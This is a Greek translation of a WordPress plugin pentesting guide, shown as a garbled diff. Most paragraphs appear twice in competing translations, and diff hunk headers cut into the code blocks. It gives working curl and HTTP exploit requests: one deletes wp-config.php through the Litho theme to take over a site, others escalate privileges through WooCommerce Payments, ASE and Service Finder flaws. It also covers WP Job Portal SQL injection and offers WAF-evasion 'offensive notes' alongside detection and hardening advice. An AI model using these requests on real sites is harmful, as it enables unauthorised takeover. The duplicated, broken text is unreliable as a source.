Η γνώση του τρόπου με τον οποίο ένα Wordpress plugin μπορεί να εκθέσει λειτουργικότητα είναι κρίσιμη για να εντοπιστούν ευπάθειες στη λειτουργία του. Μπορείτε να δείτε πώς ένα plugin μπορεί να εκθέσει λειτουργίες στα παρακάτω σημεία και κάποια παραδείγματα ευάλωτων plugins στο [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
Η γνώση του πώς ένα Wordpress plugin μπορεί να εκθέσει λειτουργικότητα είναι κρίσιμη για τον εντοπισμό ευπαθειών στη λειτουργικότητά του. Μπορείτε να δείτε πώς ένα plugin ενδέχεται να εκθέσει λειτουργικότητα στα παρακάτω σημεία και μερικά παραδείγματα ευπαθών plugins στο [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
- **`wp_ajax`**
Ένας από τους τρόπους με τους οποίους ένα plugin μπορεί να εκθέσει functions σε χρήστες είναι μέσω AJAX handlers. Αυτές μπορεί να περιέχουν bugs στη λογική, την authorization ή την authentication. Επιπλέον, είναι αρκετά συχνό αυτές οι συναρτήσεις να βασίζουν τόσο την authentication όσο και την authorization στην ύπαρξη ενός Wordpress nonce που **οποιοσδήποτε χρήστης αυθεντικοποιημένος στην εγκατάσταση Wordpress μπορεί να έχει** (ανεξαρτήτως ρόλου).
Ένας από τους τρόπους με τους οποίους ένα Wordpress plugin μπορεί να εκθέσει συναρτήσεις στους χρήστες είναι μέσω των AJAX handlers. Αυτές μπορούν να περιέχουν σφάλματα στη λογική, authorization, ή authentication. Επιπλέον, είναι αρκετά συχνό αυτές οι συναρτήσεις να βασίζουν τόσο την authentication όσο και την authorization στην ύπαρξη ενός wordpress nonce το οποίο **οποιοσδήποτε authenticated χρήστης στην Wordpress instance μπορεί να έχει** (ανεξάρτητα από το ρόλο του).
Αυτές είναι οι συναρτήσεις που μπορούν να χρησιμοποιηθούν για να εκθέσουν μια λειτουργία σε ένα plugin:
```php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
```
**Η χρήση του `nopriv` κάνει το endpoint προσβάσιμο από οποιουσδήποτε χρήστες (ακόμη και μη αυθεντικοποιημένους).**
**Η χρήση του `nopriv` καθιστά το endpoint προσβάσιμο από οποιονδήποτε χρήστη (ακόμη και μη αυθεντικοποιημένους).**
> [!CAUTION]
> Επιπλέον, αν η συνάρτηση απλώς ελέγχει την εξουσιοδότηση του χρήστη με τη συνάρτηση `wp_verify_nonce`, αυτή η συνάρτηση ελέγχει μόνο ότι ο χρήστης είναι συνδεδεμένος, και συνήθως δεν ελέγχει τον ρόλο του χρήστη. Έτσι, χρήστες με χαμηλά προνόμια μπορεί να έχουν πρόσβαση σε ενέργειες υψηλών προνομίων.
> Επιπλέον, αν η συνάρτηση απλώς ελέγχει την εξουσιοδότηση του χρήστη με τη συνάρτηση `wp_verify_nonce`, αυτή η συνάρτηση απλώς ελέγχει ότι ο χρήστης είναι συνδεδεμένος, δεν ελέγχει συνήθως το ρόλο του χρήστη. Έτσι χρήστες με χαμηλά προνόμια μπορεί να έχουν πρόσβαση σε ενέργειες υψηλών προνομίων.
- **REST API**
Είναι επίσης δυνατό να εκθέσετε συναρτήσεις από το wordpress καταχωρώντας ένα REST API χρησιμοποιώντας τη συνάρτηση `register_rest_route`:
Είναι επίσης δυνατό να εκθέσετε συναρτήσεις από το wordpress καταχωρώντας ένα rest AP χρησιμοποιώντας τη συνάρτηση `register_rest_route`:
```php
register_rest_route(
$this->namespace, '/get/', array(
@ -363,21 +363,21 @@ $this->namespace, '/get/', array(
)
);
```
Το `permission_callback` είναι μια συνάρτηση callback που ελέγχει αν ένας δοθέν χρήστης είναι εξουσιοδοτημένος να καλέσει τη μέθοδο API.
Η `permission_callback` είναι μια συνάρτηση callback που ελέγχει αν ένας δεδομένος χρήστης έχει εξουσιοδότηση να καλέσει τη μέθοδο API.
**Αν η ενσωματωμένη συνάρτηση `__return_true` χρησιμοποιηθεί, απλά θα παραλείψει τον έλεγχο δικαιωμάτων χρήστη.**
**Αν χρησιμοποιηθεί η ενσωματωμένη συνάρτηση `__return_true`, θα παραλείψει απλά τον έλεγχο δικαιωμάτων του χρήστη.**
- **Άμεση πρόσβαση στο αρχείο PHP**
Φυσικά, το Wordpress χρησιμοποιεί PHP και τα αρχεία μέσα σε plugins είναι άμεσα προσβάσιμα από το web. Έτσι, σε περίπτωση που ένα plugin εκθέτει κάποια ευπαθή λειτουργικότητα που ενεργοποιείται απλώς με την πρόσβαση στο αρχείο, θα είναι εκμεταλλεύσιμο από οποιονδήποτε χρήστη.
Φυσικά, Wordpress χρησιμοποιεί PHP και τα αρχεία μέσα σε plugins είναι άμεσα προσβάσιμα από το web. Έτσι, εάν ένα plugin εκθέτει κάποια ευάλωτη λειτουργία που ενεργοποιείται απλώς με την πρόσβαση στο αρχείο, θα είναι εκμεταλλεύσιμη από οποιονδήποτε χρήστη.
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
Κάποια plugins υλοποιούν “trusted header” συντομεύσεις για εσωτερικές ενσωματώσεις ή reverse proxies και στη συνέχεια χρησιμοποιούν αυτό το header για να ορίσουν το τρέχον user context για αιτήματα REST. Εάν το header δεν είναι κρυπτογραφικά δεσμευμένο στο αίτημα από κάποιο upstream component, ένας επιτιθέμενος μπορεί να το πλαστογραφήσει και να προσπελάσει προνόμιες REST routes ως διαχειριστής.
Ορισμένα plugins υλοποιούν συντομεύσεις “trusted header” για εσωτερικές ενσωματώσεις ή reverse proxies και στη συνέχεια χρησιμοποιούν αυτό το header για να ορίσουν το τρέχον context χρήστη για αιτήματα REST. Εάν το header δεν είναι κρυπτογραφικά δεμένο με το αίτημα από ένα upstream component, ένας επιτιθέμενος μπορεί να το ψευδοποιήσει και να προσπελάσει προνομιούχες REST routes ως administrator.
- Impact: κλιμάκωση προνομίων χωρίς αυθεντικοποίηση σε διαχειριστή δημιουργώντας νέο λογαριασμό διαχειριστή μέσω του core users REST route.
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (αναγκάζει το user ID 1, συνήθως ο πρώτος λογαριασμός διαχειριστή).
- Exploited route: `POST /wp-json/wp/v2/users` με πίνακα ρόλων που αποδίδει ανυψωμένο ρόλο.
- Αντίκτυπος: μη-επαληθευμένη κλιμάκωση προνομίων σε administrator, δημιουργώντας νέο administrator μέσω του core users REST route.
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (εξαναγκάζει user ID 1, συνήθως τον πρώτο administrator λογαριασμό).
- Exploited route: `POST /wp-json/wp/v2/users` με έναν πίνακα ρόλων με αυξημένα δικαιώματα.
PoC
```http
@ -393,38 +393,29 @@ Content-Length: 114
```
Γιατί λειτουργεί
- Το plugin αντιστοιχίζει ένα header που ελέγχεται από τον client στην κατάσταση πιστοποίησης και παραλείπει τους ελέγχους δικαιωμάτων.
- Ο πυρήνας του WordPress περιμένει την capability `create_users` για αυτό το route· το hack του plugin το παρακάμπτει ρυθμίζοντας απευθείας το context του current user από το header.
- Το plugin αντιστοιχίζει ένα header που ελέγχεται από τον client στην κατάσταση αυθεντικοποίησης και παραλείπει τους ελέγχους capability.
- Το WordPress core αναμένει την capability `create_users` για αυτό το route· το plugin hack την παρακάμπτει θέτοντας απευθείας το current user context από το header.
Αναμενόμενα δείγματα επιτυχίας
Προσδοκώμενοι δείκτες επιτυχίας
- HTTP 201 με JSON σώμα που περιγράφει τον δημιουργημένο χρήστη.
- Νέος admin χρήστης ορατός στο `wp-admin/users.php`.
- Ένας νέος admin χρήστης ορατός στο `wp-admin/users.php`.
Λίστα ελέγχου ανίχνευσης
- Χρησιμοποιήστε grep για `getallheaders()`, `$_SERVER['HTTP_...']`, ή vendor SDKs που διαβάζουν custom headers για να ορίσουν το context χρήστη (π.χ. `wp_set_current_user()`, `wp_set_auth_cookie()`).
- Ελέγξτε τις REST registrations για privileged callbacks που στερούνται στιβαρών ελέγχων `permission_callback` και αντί αυτού βασίζονται σε request headers.
- Αναζητήστε χρήσεις βασικών συναρτήσεων διαχείρισης χρηστών (`wp_insert_user`, `wp_create_user`) μέσα σε REST handlers που ελέγχονται μόνο από τιμές header.
- Κάντε grep για `getallheaders()`, `$_SERVER['HTTP_...']`, ή vendor SDKs που διαβάζουν custom headers για να ορίσουν το user context (π.χ. `wp_set_current_user()`, `wp_set_auth_cookie()`).
- Ελέγξτε τις εγγραφές REST για privileged callbacks που στερούνται ισχυρών ελέγχων `permission_callback` και αντ' αυτού βασίζονται σε request headers.
- Αναζητήστε χρήσεις των core user-management functions (`wp_insert_user`, `wp_create_user`) μέσα σε REST handlers που προστατεύονται μόνο από τιμές header.
Σκληροποίηση
### Αυθαίρετη Διαγραφή Αρχείων από Μη Αυθεντικοποιημένο Χρήστη μέσω wp_ajax_nopriv (Litho Theme <= 3.0)
- Μην εξάγετε ποτέ authentication ή authorization από headers ελεγχόμενα από τον client.
- Αν ένας reverse proxy πρέπει να εισάγει identity, τερματίστε την εμπιστοσύνη στον proxy και αφαιρέστε εισερχόμενα αντίγραφα (π.χ. `unset X-Wcpay-Platform-Checkout-User` στο edge), κατόπιν περάστε ένα signed token και επαληθεύστε το server-side.
- Για REST routes που εκτελούν privileged actions, απαιτήστε ελέγχους `current_user_can()` και αυστηρό `permission_callback` (μη χρησιμοποιείτε `__return_true`).
- Προτιμήστε first-party auth (cookies, application passwords, OAuth) αντί για header “impersonation”.
Τα WordPress themes και plugins συχνά εκθέτουν AJAX handlers μέσω των hooks `wp_ajax_` και `wp_ajax_nopriv_`. Όταν χρησιμοποιείται η παραλλαγή **_nopriv_** **η callback γίνεται προσβάσιμη από μη αυθεντικοποιημένους επισκέπτες**, οπότε κάθε ευαίσθητη ενέργεια πρέπει επιπλέον να υλοποιεί:
Αναφορές: δείτε τους συνδέσμους στο τέλος αυτής της σελίδας για ένα δημόσιο περιστατικό και ευρύτερη ανάλυση.
1. Έναν **έλεγχο capability** (π.χ. `current_user_can()` ή τουλάχιστον `is_user_logged_in()`), και
2. Ένα **CSRF nonce** επικυρωμένο με `check_ajax_referer()` / `wp_verify_nonce()`, και
3. **Αυστηρή απολύμανση / επαλήθευση εισόδων**.
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement:
1. Έναν **έλεγχο δικαιωμάτων (capability check)** (π.χ. `current_user_can()` ή τουλάχιστον `is_user_logged_in()`), και
2. Ένα **CSRF nonce** επαληθευμένο με `check_ajax_referer()` / `wp_verify_nonce()`, και
3. **Αυστηρή απολύμανση / επικύρωση εισόδου (input sanitisation / validation)**.
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):
Το Litho multipurpose theme (< 3.1) ξέχασε αυτούς τους 3 ελέγχους στην *Remove Font Family* λειτουργία και τελικά παρέδωσε τον παρακάτω κώδικα (απλουστευμένος):
```php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
@ -443,60 +434,37 @@ die();
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
```
Issues introduced by this snippet:
Προβλήματα που εισάγονται από αυτό το απόσπασμα:
* **Μη πιστοποιημένη πρόσβαση** το `wp_ajax_nopriv_` hook έχει εγγραφεί.
* **Δεν υπάρχει nonce / έλεγχος capability** οποιοσδήποτε επισκέπτης μπορεί να καλέσει το endpoint.
* **Καμία εξυγίανση διαδρομής** η ελεγχόμενη από τον χρήστη `fontfamily` συμβολοσειρά συνενώνεται σε μια διαδρομή συστήματος αρχείων χωρίς φιλτράρισμα, επιτρέποντας το κλασικό `../../` traversal.
* **Μη αυθεντικοποιημένη πρόσβαση** το `wp_ajax_nopriv_` hook έχει καταχωρηθεί.
* **Χωρίς nonce / έλεγχο δικαιωμάτων** οποιοσδήποτε επισκέπτης μπορεί να προσπελάσει το endpoint.
* **Χωρίς sanitisation διαδρομής** η από τον χρήστη ελεγχόμενη συμβολοσειρά `fontfamily` συγχωνεύεται σε διαδρομή του filesystem χωρίς φιλτράρισμα, επιτρέποντας το κλασικό `../../` traversal.
#### Εκμετάλλευση
Ένας επιτιθέμενος μπορεί να διαγράψει οποιοδήποτε αρχείο ή κατάλογο **κάτω από τον βασικό κατάλογο uploads** (normally `<wp-root>/wp-content/uploads/`) στέλνοντας ένα μόνο HTTP POST request:
Ένας επιτιθέμενος μπορεί να διαγράψει οποιοδήποτε αρχείο ή κατάλογο **κάτω από τον βασικό κατάλογο uploads** (συνήθως `<wp-root>/wp-content/uploads/`) στέλνοντας ένα μόνο HTTP POST αίτημα:
```bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
```
Επειδή το `wp-config.php` βρίσκεται έξω από το *uploads*, τέσσερις ακολουθίες `../` αρκούν σε μια προεπιλεγμένη εγκατάσταση. Η διαγραφή του `wp-config.php` αναγκάζει το WordPress να μπει στον *οδηγό εγκατάστασης* στην επόμενη επίσκεψη, επιτρέποντας πλήρη κατάληψη του site (ο επιτιθέμενος απλώς παρέχει μια νέα DB διαμόρφωση και δημιουργεί έναν admin χρήστη).
Επειδή `wp-config.php` βρίσκεται έξω από το *uploads*, τέσσερις αλληλουχίες `../` είναι αρκετές σε μια προεπιλεγμένη εγκατάσταση. Η διαγραφή του `wp-config.php` αναγκάζει το WordPress στον *οδηγό εγκατάστασης* στην επόμενη επίσκεψη, επιτρέποντας πλήρη κατάληψη του site (ο επιτιθέμενος απλώς παρέχει μια νέα DB διαμόρφωση και δημιουργεί έναν admin χρήστη).
Άλλοι σημαντικοί στόχοι περιλαμβάνουν αρχεία plugin/theme `.php` (για να παρακάμψουν plugins ασφαλείας) ή κανόνες `.htaccess`.
Άλλοι σημαντικοί στόχοι περιλαμβάνουν plugin/theme αρχεία `.php` (για να σπάσουν πρόσθετα ασφαλείας) ή κανόνες `.htaccess`.
#### Λίστα ελέγχου ανίχνευσης
* Οποιοδήποτε callback `add_action( 'wp_ajax_nopriv_...')` που καλεί helpers συστήματος αρχείων (`copy()`, `unlink()`, `$wp_filesystem->delete()`, κ.λπ.).
* Συναρμολόγηση μη φιλτραρισμένης εισόδου χρήστη σε μονοπάτια (αναζητήστε `$_POST`, `$_GET`, `$_REQUEST`).
* Οποιοδήποτε callback `add_action( 'wp_ajax_nopriv_...')` που καλεί βοηθητικά για το filesystem (`copy()`, `unlink()`, `$wp_filesystem->delete()`, κ.λπ.).
* Συνένωση μη φιλτραρισμένης εισόδου χρήστη σε μονοπάτια (ψάξτε για `$_POST`, `$_GET`, `$_REQUEST`).
* Έλλειψη `check_ajax_referer()` και `current_user_can()`/`is_user_logged_in()`.
#### Σκληροποίηση
```php
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
wp_send_json_error( 'forbidden', 403 );
}
check_ajax_referer( 'litho_fonts_nonce' );
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
wp_send_json_error( 'invalid path', 400 );
}
// … proceed …
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
// 🔒 NO wp_ajax_nopriv_ registration
```
> [!TIP]
> **Πάντα** θεωρείτε οποιαδήποτε ενέργεια write/delete στο δίσκο ως προνομιούχα και ελέγξτε προσεκτικά:
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
---
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
### Αύξηση προνομίων μέσω επαναφοράς παλαιών ρόλων και έλλειψης εξουσιοδότησης (ASE "View Admin as Role")
Πολλά plugins υλοποιούν μια δυνατότητα "view as role" ή προσωρινής role-switching αποθηκεύοντας τους αρχικούς role(s) στο user meta ώστε να μπορούν να αποκατασταθούν αργότερα. Εάν η διαδρομή αποκατάστασης βασίζεται μόνο σε request parameters (π.χ. `$_REQUEST['reset-for']`) και σε μια plugin-maintained list χωρίς έλεγχο capabilities και επαλήθευση ενός valid nonce, αυτό γίνεται vertical privilege escalation.
Πολλά plugins υλοποιούν λειτουργία "view as role" ή προσωρινής αλλαγής ρόλου αποθηκεύοντας τον/τους αρχικό/ους ρόλο/ους στο user meta ώστε να μπορούν να επαναφερθούν αργότερα. Αν το μονοπάτι επαναφοράς εξαρτάται μόνο από παραμέτρους αίτησης (π.χ. `$_REQUEST['reset-for']`) και από μια λίστα που διατηρεί το plugin χωρίς έλεγχο δυνατοτήτων (capabilities) και έγκυρου nonce, αυτό μετατρέπεται σε κάθετη αύξηση προνομίων.
Ένα πραγματικό παράδειγμα βρέθηκε στο πρόσθετο Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Το reset branch επανέφερε ρόλους βάσει `reset-for=<username>` εάν το username εμφανιζόταν σε έναν εσωτερικό πίνακα `$options['viewing_admin_as_role_are']`, αλλά δεν εκτέλεσε ούτε έλεγχο `current_user_can()` ούτε επαλήθευση nonce πριν αφαιρέσει τους τρέχοντες ρόλους και επαναπροσθέσει τους αποθηκευμένους ρόλους από το user meta `_asenha_view_admin_as_original_roles`:
Ένα πραγματικό παράδειγμα βρέθηκε στο Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). Το branch επαναφοράς έφερνε πίσω ρόλους βάσει `reset-for=<username>` αν το όνομα χρήστη εμφανιζόταν σε έναν εσωτερικό πίνακα `$options['viewing_admin_as_role_are']`, αλλά δεν εκτελούσε ούτε `current_user_can()` έλεγχο ούτε επαλήθευση nonce πριν αφαιρέσει τους τρέχοντες ρόλους και ξαναπροσθέσει τους αποθηκευμένους ρόλους από το user meta `_asenha_view_admin_as_original_roles`:
```php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
@ -511,19 +479,13 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
```
Why its exploitable
Γιατί είναι εκμεταλλεύσιμο
- Εμπιστεύεται `$_REQUEST['reset-for']` και μια plugin option χωρίς server-side authorization.
- Αν ένας χρήστης προηγουμένως είχε υψηλότερα προνόμια αποθηκευμένα στο `_asenha_view_admin_as_original_roles` και υποβαθμίστηκε, μπορεί να τα επαναφέρει προσπελάζοντας το reset path.
- Σε κάποιες deployments, οποιοσδήποτε authenticated user θα μπορούσε να trigger ένα reset για άλλο username που εξακολουθεί να υπάρχει στο `viewing_admin_as_role_are` (broken authorization).
- Εμπιστεύεται το `$_REQUEST['reset-for']` και μια επιλογή plugin χωρίς εξουσιοδότηση στην πλευρά του server.
- Αν ένας χρήστης προηγουμένως είχε υψηλότερα προνόμια αποθηκευμένα στο `_asenha_view_admin_as_original_roles` και υποβαθμίστηκε, μπορεί να τα επαναφέρει προσεγγίζοντας τη διαδρομή επαναφοράς.
- Σε κάποιες εγκαταστάσεις, οποιοσδήποτε πιστοποιημένος χρήστης θα μπορούσε να προκαλέσει επαναφορά για άλλο όνομα χρήστη που εξακολουθεί να υπάρχει στο `viewing_admin_as_role_are` (σφάλμα εξουσιοδότησης).
Attack prerequisites
- Ευάλωτη έκδοση του plugin με τη feature enabled.
- Ο target account έχει ένα stale high-privilege role αποθηκευμένο σε user meta από προηγούμενη χρήση.
- Οποιαδήποτε authenticated session; missing nonce/capability στη reset flow.
Exploitation (example)
Εκμετάλλευση (παράδειγμα)
```bash
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
@ -531,36 +493,23 @@ Exploitation (example)
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
```
Σε ευάλωτες builds αυτό αφαιρεί τους τρέχοντες ρόλους και επαναπροσθέτει τους αποθηκευμένους αρχικούς ρόλους (π.χ. `administrator`), αναβαθμίζοντας ουσιαστικά τα προνόμια.
Σε ευάλωτες builds αυτό αφαιρεί τα current roles και επαναπροσθέτει τα αποθηκευμένα original roles (π.χ. `administrator`), αποτελεσματικά escalating privileges.
Detection checklist
- Αναζητήστε λειτουργίες εναλλαγής ρόλων που διατηρούν «αρχικούς ρόλους» στο user meta (π.χ. `_asenha_view_admin_as_original_roles`).
- Εντοπίστε μονοπάτια reset/restore που:
- Διαβάζουν ονόματα χρηστών από `$_REQUEST` / `$_GET` / `$_POST`.
- Τροποποιούν ρόλους μέσω `add_role()` / `remove_role()` χωρίς `current_user_can()` και `wp_verify_nonce()` / `check_admin_referer()`.
- Εξουσιοδοτούν βάσει ενός plugin option array (π.χ. `viewing_admin_as_role_are`) αντί για τις δυνατότητες του ενεργούντος χρήστη.
Hardening
- Επιβάλετε έλεγχο δυνατοτήτων σε κάθε διακλάδωση που αλλάζει κατάσταση (π.χ. `current_user_can('manage_options')` ή αυστηρότερο).
- Απαιτήστε nonces για όλες τις μεταβολές ρόλων/εξουσιοδοτήσεων και επαληθεύστε τα: `check_admin_referer()` / `wp_verify_nonce()`.
- Ποτέ μην εμπιστεύεστε ονόματα χρηστών που παρέχονται στο request· επιλύστε τον επιδιωκόμενο χρήστη server-side με βάση τον αυθεντικοποιημένο χρήστη και την ρητή πολιτική.
- Ακυρώστε την κατάσταση «αρχικών ρόλων» στις ενημερώσεις προφίλ/ρόλων για να αποφύγετε την επαναφορά παλαιών υψηλών προνομίων:
```php
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
```
Σκεφτείτε την αποθήκευση ελάχιστης κατάστασης και τη χρήση time-limited, capability-guarded tokens για προσωρινές role switches.
- Αναζητήστε role-switching features που αποθηκεύουν “original roles” σε user meta (π.χ. `_asenha_view_admin_as_original_roles`).
- Εντοπίστε reset/restore paths που:
- Διαβάζουν usernames από `$_REQUEST` / `$_GET` / `$_POST`.
- Τροποποιούν roles μέσω `add_role()` / `remove_role()` χωρίς `current_user_can()` και `wp_verify_nonce()` / `check_admin_referer()`.
- Εξουσιοδοτούν με βάση ένα plugin option array (π.χ. `viewing_admin_as_role_are`) αντί για τις capabilities του actor.
---
### Unauthenticated privilege escalation μέσω cookietrusted user switching στο public `init` (Service Finder “sf-booking”)
### Unauthenticated privilege escalation via cookietrusted user switching on public init (Service Finder “sf-booking”)
Ορισμένα plugins συνδέουν helpers για user-switching στο δημόσιο hook `init` και εξάγουν την ταυτότητα από ένα cookie ελεγχόμενο από τον client. Εάν ο κώδικας καλεί `wp_set_auth_cookie()` χωρίς να επαληθεύει authentication, capability και έγκυρο nonce, οποιοσδήποτε unauthenticated επισκέπτης μπορεί να αναγκάσει το σύστημα να κάνει login ως οποιοδήποτε user ID.
Κάποια plugins συνδέουν user-switching helpers στο public `init` hook και εξάγουν ταυτότητα από ένα client-controlled cookie. Εάν ο κώδικας καλεί `wp_set_auth_cookie()` χωρίς να επαληθεύει authentication, capability και ένα έγκυρο nonce, οποιοσδήποτε unauthenticated επισκέπτης μπορεί να force login ως οποιοδήποτε user ID.
Τυπικό ευάλωτο μοτίβο (απλοποιημένο από Service Finder Bookings ≤ 6.1):
Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1):
```php
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
@ -591,11 +540,11 @@ wp_die('No original user found to switch back to.');
```
Γιατί είναι εκμεταλλεύσιμο
- Ο δημόσιος hook `init` κάνει τον handler προσβάσιμο από μη συνδεδεμένους χρήστες (δεν υπάρχει `is_user_logged_in()` guard).
- Η ταυτότητα προκύπτει από ένα cookie που μπορεί να τροποποιήσει ο client (`original_user_id`).
- Άμεση κλήση σε `wp_set_auth_cookie($uid)` συνδέει τον αιτούντα ως αυτόν τον χρήστη χωρίς έλεγχο δικαιωμάτων ή nonce.
- Ο δημόσιος `init` hook καθιστά τον handler προσβάσιμο από μη αυθεντικοποιημένους χρήστες (χωρίς έλεγχο `is_user_logged_in()`).
- Η ταυτότητα προέρχεται από cookie που μπορεί να τροποποιηθεί από τον client (`original_user_id`).
- Άμεση κλήση της `wp_set_auth_cookie($uid)` συνδέει τον αιτούντα ως αυτόν τον χρήστη χωρίς έλεγχο δικαιωμάτων/nonce.
Εκμετάλλευση (μη συνδεδεμένος χρήστης)
Εκμετάλλευση (χωρίς έλεγχο ταυτότητας)
```http
GET /?switch_back=1 HTTP/1.1
Host: victim.example
@ -607,30 +556,30 @@ Connection: close
### WAF considerations for WordPress/plugin CVEs
Τα generic edge/server WAFs είναι ρυθμισμένα για ευρείς pattern (SQLi, XSS, LFI). Πολλές highimpact WordPress/plugin ευπάθειες είναι applicationspecific logic/auth bugs που μοιάζουν με benign traffic εκτός αν ο engine κατανοεί τα WordPress routes και τα plugin semantics.
Generic edge/server WAFs are tuned for broad patterns (SQLi, XSS, LFI). Many highimpact WordPress/plugin flaws are application-specific logic/auth bugs that look like benign traffic unless the engine understands WordPress routes and plugin semantics.
Offensive notes
- Στοχεύστε pluginspecific endpoints με clean payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- Δοκιμάστε πρώτα unauth paths (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads συχνά πετυχαίνουν χωρίς obfuscation.
- Τυπικές highimpact περιπτώσεις: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
- Target plugin-specific endpoints with clean payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- Exercise unauth paths first (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads often succeed without obfuscation.
- Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
Defensive notes
- Μην βασίζεστε σε generic WAF signatures για να προστατέψετε plugin CVEs. Εφαρμόστε applicationlayer, vulnerabilityspecific virtual patches ή κάντε update γρήγορα.
- Προτιμήστε positivesecurity checks στον κώδικα (capabilities, nonces, strict input validation) αντί για negative regex filters.
- Dont rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly.
- Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters.
## WordPress Protection
### Regular Updates
Βεβαιωθείτε ότι WordPress, plugins, και themes είναι ενημερωμένα. Επίσης επιβεβαιώστε ότι το automated updating είναι ενεργοποιημένο στο wp-config.php:
Make sure WordPress, plugins, and themes are up to date. Also confirm that automated updating is enabled in wp-config.php:
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
Επίσης, **εγκαταστήστε μόνο αξιόπιστα WordPress plugins και themes**.
Επίσης, **εγκαταστήστε μόνο αξιόπιστα WordPress πρόσθετα και θέματα**.
### Πρόσθετα Ασφαλείας
@ -641,15 +590,15 @@ add_filter( 'auto_update_theme', '__return_true' );
### **Άλλες Συστάσεις**
- Αφαιρέστε τον προεπιλεγμένο χρήστη **admin**
- Χρησιμοποιήστε **ισχυρούς κωδικούς πρόσβασης** και **2FA**
- Ελέγχετε περιοδικά τα **δικαιώματα** των χρηστών
- Χρησιμοποιήστε **ισχυρούς κωδικούς** και **2FA**
- Περιοδικά **ελέγχετε** τα **δικαιώματα** των χρηστών
- **Περιορίστε τις προσπάθειες σύνδεσης** για να αποτρέψετε επιθέσεις Brute Force
- Μετονομάστε το αρχείο **`wp-admin.php`** και επιτρέψτε πρόσβαση μόνο εσωτερικά ή από συγκεκριμένες διευθύνσεις IP.
- Μετονομάστε το αρχείο **`wp-admin.php`** και επιτρέπετε πρόσβαση μόνο εσωτερικά ή από συγκεκριμένες διευθύνσεις IP.
### SQL Injection χωρίς αυθεντικοποίηση λόγω ανεπαρκούς επικύρωσης (WP Job Portal <= 2.3.2)
### Μη αυθεντικοποιημένη SQL Injection λόγω ανεπαρκούς επικύρωσης (WP Job Portal <= 2.3.2)
Το recruitment plugin WP Job Portal αποκάλυπτε μια εργασία **savecategory** που τελικά εκτελούσε τον ακόλουθο ευπαθή κώδικα μέσα στο `modules/category/model.php::validateFormData()`:
Το WP Job Portal recruitment plugin αποκάλυπτε μια εργασία **savecategory** που τελικά εκτελεί τον ακόλουθο ευάλωτο κώδικα μέσα στο `modules/category/model.php::validateFormData()`:
```php
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
@ -659,19 +608,19 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
```
Issues introduced by this snippet:
Προβλήματα που εισάγει αυτό το απόσπασμα:
1. **Ανεπεξέργαστη είσοδος χρήστη** `parentid` προέρχεται απευθείας από το αίτημα HTTP.
2. **Συγχώνευση συμβολοσειρών στο WHERE clause** δεν υπάρχει `is_numeric()` / `esc_sql()` / prepared statement.
3. **Πρόσβαση χωρίς αυθεντικοποίηση** αν και η ενέργεια εκτελείται μέσω `admin-post.php`, ο μοναδικός έλεγχος είναι ένα **CSRF nonce** (`wp_verify_nonce()`), το οποίο οποιοσδήποτε επισκέπτης μπορεί να ανακτήσει από μια δημόσια σελίδα που ενσωματώνει το shortcode `[wpjobportal_my_resumes]`.
